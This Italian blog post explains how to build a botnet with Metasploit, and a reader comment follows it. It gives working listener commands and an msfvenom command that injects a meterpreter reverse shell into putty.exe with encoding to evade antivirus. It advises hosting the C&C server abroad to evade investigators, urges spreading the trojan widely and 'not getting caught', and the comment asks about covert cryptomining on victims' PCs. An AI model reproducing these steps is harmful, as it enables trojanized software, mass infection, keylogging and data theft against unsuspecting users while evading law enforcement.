Prima di affrontare le questioni tecniche facciamo qualche precisazione. Botnet è un termine generico per il quale si intende una rete di computer sul quale è presente un “bot”, ovvero un componente che consente di far eseguire al pc vittima del codice arbitrario in maniera inconsapevole al proprietario.

Detto questo è evidente che possono esserci una miriade di botnet, ognuna con uno scopo specifico, o magari che dinamicamente ricevono istruzioni sul da farsi.

Una botnet può lanciare attacchi DDoS verso determinati obiettivi, può effettuare mining di criptovalute, può rubare dati sensibili e chi più ne ha più ne metta.

La botnet oggetto di questo post è molto semplice da realizzare ma può produrre danni notevoli se utilizzata in maniera criminale. Come sicuramente avete letto dal disclaimer di questo blog, il mio scopo è puramente divulgativo e l’obiettivo è quello di dimostrare come, con pochi mezzi ma le necessarie consocenze tecniche, si possa agire come fanno gli hacker più skillati.

Dunque iniziamo ad analizzare il problema dal punto di vista architetturale. Una botnet richiede dei componenti fondamentali come ad esempio un server Command & Control (C&C), che sia in grado di gestire i vari bot in giro per il mondo. Richiede anche la parte software che effettui l’infezione, ovvero il cosiddetto malware.

Andiamo con ordine. Il server C&C deve godere di alcune caratteristiche di non rintracciabilità; se la nostra botnet venisse rilevata da qualche dispositivo di prevention scatterebbe subito l’analisi e backtrace alla ricerca delle nostre tracce. Dobbiamo quindi rendere queste tracce molto difficili da trovare.

Il modo più comune è quello di noleggiare un server virtuale da qualche provider che non sia collocato in Europa o in qualsiasi altro Paese con cui l’Italia intrattenga degli accordi specifici. Se devono trovarci devono agire tramite rogatorie internazionali e meno rapporti ci sono tra l’Italia e il paese in cui ospitiamo il nostro C&C, meglio è per noi.

Per il nostro scopo utilizzeremo una macchina virtuale presente sulla mia piattaforma di test.

Procediamo a installare metasploit sul server C&C e iniziamo a configurarlo, aggiornando tutti i moduli del kernel. Il server C&C dovrà rimanere in listening per parecchio tempo, in attesa che i bot si colleghino e diano la loro disponibilità.

Per il mio esperimento ho deciso di utilizzare il modulo rev_tcp di metasploit sulla porta tcp/8080, configureremo quindi il listener tramite il seguente comando

 

use exploit/multi/handler

set LHOST 192.168.29.135
 AutoRunSc
set PAYLOAD windows/meterpreter/reverse_tcp

set ExitOnSession False

set LPORT 8080

set AutoRunScript persistence -r 192.168.29.135 -p 8080 -A -X -i 30

un breve cenno sulle righe che possono sembrare strane: il comando “set ExitOnSession False” fa in modo che il listener non smetta di funzionare quando un bot si disconnette, mentre il set AutoRunScript esegue automaticamente lo script che permette di rendere persistente il bot all’interno della macchina compromessa, con un intervallo di connessione di 30 secondi, tale per cui, in caso di disconnessione, dopo 30 secondi il bot proverà di nuovo a connettersi col C&C.

Sembra facile ed in effetti lo è, il nostro C&C è configurato, dobbiamo solo attivare il listener con il seguente comando

 

exploit -j -z

il listener si avvierà in ascolto sulla porta 8080, il nostro C&C è ora completo.

Passiamo alla fase di creazione del malware, anche qui metasploit ci viene incontro. Il nostro malware dovrà anch’esso godere di alcune proprietà, come ad esempio l’invisibilità agli antivirus. Questo meccanismo è possibile implementando le funzionalità di encoding di metasploit ovvero la crittografia sul payload del malware.

Abbiamo due possibili strade da seguire:

  1. Creare un malware partendo da un eseguibile non infetto e iniettando al suo interno il codice malevolo
  2. Creare un malware che includa solo la parte malevola, senza derivarlo da un eseguibile esistente

Entrambe le opzioni sono valide, sta a noi la decisione. Per questo post ho scelto di mostrarvi la soluzione numero uno, cioè iniettare il malware all’interno di un eseguibile non infetto.

L’eseguibile che ho scelto è putty.exe, il celebre client SSH gratuito. Lo scarichiamo dal sito ufficiale all’interno della directory /root/Downloads e diamo questo comando dalla nostra shell

 

msfvenom -p windows/meterpreter/reverse_tcp -x /root/Downloads/putty.exe -k -e x86/shikata_ga_nai -i 5 LHOST=192.168.29.135 LPORT=8080 -f exe -o testputty.exe

msfvenom è il tool che ci consente di creare i nostri payload. Questo comando prende come input il file putty scaricato, inietta il payload windows/meterpreter/reverse_tcp, fa l’encoding per evitare di essere rilevato dagli antivirus (l’opzione -i specifica il numero di iterazioni di encoding) e alla fine crea un altro eseguibile che si chiama testputty.exe, contenente il malware.

Sottoponendo il nuovo file a scan su nodstribute.com noto con piacere che non viene rilevato da nessun antivirus, abbiamo quindi uno zero-day utilizzabile.

Il passaggio successivo? E’ evidente… occorre diffondere il malware il più possibile. Ogni volta che una nuova vittima eseguirà il malware vedremo una nuova connessione verso il nostro C&C.

A questo punto ad ogni bot corrisponderà una sessione meterpreter, potrete quindi attivare il keylogger, fare upload e download di file e tutto quello che meterpreter e metasploit vi consentono di fare.

In futuro scriverò un post specifico su come usare meterpreter, per il momento limitatevi a non farvi beccare! 😉

 

3 thoughts on “Come creare una botnet con metasploit

  1. Sarebbe ottimo se poi parlassi ipoteticamente di come eseguire comandi sui PC infettati, se tipo volessi eseguire un programma che fa mining? Magari senza mostrare la schermata tipica stile cmd?

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *